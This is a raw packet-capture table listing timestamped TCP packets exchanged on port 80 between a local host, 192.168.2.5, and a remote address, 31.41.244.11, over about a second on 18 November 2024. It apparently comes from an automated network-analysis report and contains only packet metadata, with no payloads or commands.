Nov 18, 2024 19:04:11.305428982 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.305449009 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.305474997 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.305494070 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.306355953 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.306372881 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.306415081 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.306442976 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.307008982 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.307025909 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.307068110 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.307096958 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.341686010 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.341759920 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.341936111 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.341953039 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.342009068 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.342694998 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.342720985 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.342750072 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.342780113 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.391537905 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.391598940 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.391689062 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.391704082 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.391757965 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.392667055 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.392712116 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.392726898 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.392771959 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.392808914 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.393352985 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.393368006 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.393418074 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.393457890 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.394750118 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.394808054 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.395441055 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.395457983 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.395517111 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.418462038 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.418611050 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.418730021 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.418745995 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.418806076 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.419054031 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.419069052 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.419126034 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.419758081 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.419888020 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.419945002 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.420253038 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.420265913 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.420279980 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.420331001 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.420331001 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.420928001 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.420943975 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.420955896 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.421016932 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.421016932 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.421703100 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.421719074 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.421732903 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.421777010 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.421806097 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.422363043 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.422390938 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.422445059 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.423119068 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.423135042 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.423150063 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.423188925 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.423219919 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.423882961 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.423899889 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.423913956 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.423943043 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.423943043 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.423975945 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.460484028 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.460585117 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.460593939 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.460611105 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.460648060 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.460680962 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.461220980 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.461236954 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.461395025 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.510469913 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.510529995 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.510545015 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.510639906 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.510981083 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.511271954 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.511286020 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.511353970 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.511353970 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.511722088 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.511739016 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.511785030 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.511785030 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.512366056 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.512381077 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.512423038 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.512451887 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.513057947 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.516576052 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.537425995 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.537569046 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.537584066 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.537635088 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.537667990 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.538132906 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.538149118 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.538171053 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.538204908 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.538233995 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.538772106 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.538794041 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.538847923 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.539159060 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.539297104 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.539387941 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.539402962 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.539443016 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.539474964 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.539985895 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.540002108 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.540016890 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.540057898 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.540086031 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.540652037 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.540668011 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.540683985 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.540726900 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.540756941 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.541512966 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.541531086 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.541553974 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.541580915 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.541582108 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.541614056 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.542313099 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.542329073 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.542382956 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.579416037 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.579444885 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.579459906 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.579531908 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.579596043 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.580142021 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.580157042 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.580207109 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.580596924 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.584556103 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.629015923 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.629157066 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.629173994 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.629220963 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.629251957 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.629834890 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.629852057 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.629889011 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.629913092 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.630284071 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.630297899 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.630311966 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.630336046 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.630348921 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.631165981 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.631233931 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.631329060 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.631373882 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.631501913 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.631517887 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.631546974 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.631560087 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.632013083 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.632030010 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.632059097 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.632070065 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.656244993 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.656418085 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.656434059 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.656464100 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.656501055 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.656501055 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.656877041 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.656892061 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.656934023 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.656964064 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.657299042 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.657315016 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.657366991 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.657824993 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.657880068 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.658087969 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.658138990 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.658237934 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.658253908 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.658286095 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.658317089 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.658807039 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.658822060 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.658838034 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.658869982 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.658869982 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.658902884 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.659434080 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.659449100 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.659465075 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.659482956 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.659524918 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.659524918 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.660196066 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.660211086 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.660227060 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.660254955 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.660254955 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.660286903 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.660907030 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.660922050 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.660940886 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.660959959 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.660993099 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.660993099 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.699007034 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.699103117 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.699584007 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.699600935 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.699659109 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.700104952 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.700258017 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.747833014 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.748004913 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.748018980 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.748068094 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.748123884 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.748414993 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.748430014 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.748482943 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.748994112 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.749047041 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.749151945 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.749177933 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.749205112 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.749232054 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.749838114 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.749862909 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.749890089 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.749922037 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.750258923 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.750283003 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.750313044 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.750344038 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.750889063 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.750905037 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.750977039 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.776449919 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.776586056 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.776623964 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.776640892 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.776709080 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.777167082 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.777184010 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.777237892 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.777239084 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.778122902 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.778173923 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.778197050 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.778212070 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.778254986 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.778254986 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.778986931 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.779004097 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.779019117 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.779045105 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.779045105 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.779077053 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.779534101 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.779553890 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.779592037 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.779592037 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.780167103 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.780184031 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.780219078 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.780255079 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.780930996 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.780946970 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.780981064 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.781019926 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.781518936 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.781536102 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.781548977 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.781565905 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.781622887 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.782237053 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.782253027 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.782305002 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.782917023 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.782933950 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.782948971 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.782979012 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.782979012 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.783015013 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.818016052 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.818079948 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.818161011 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.818180084 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.818216085 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.818247080 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.878825903 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.879157066 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.879173040 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.879249096 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.879744053 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.879760981 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.879822016 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.879991055 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.880007029 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.880049944 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.880084038 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.880323887 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.880341053 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.880374908 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.880405903 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.880775928 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.880793095 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.880806923 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.880846024 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.880877018 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.881227016 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.881243944 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.881257057 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.881297112 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.881326914 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.895184994 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.895560980 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.895575047 CET	80	49977	31.41.244.11	192.168.2.5
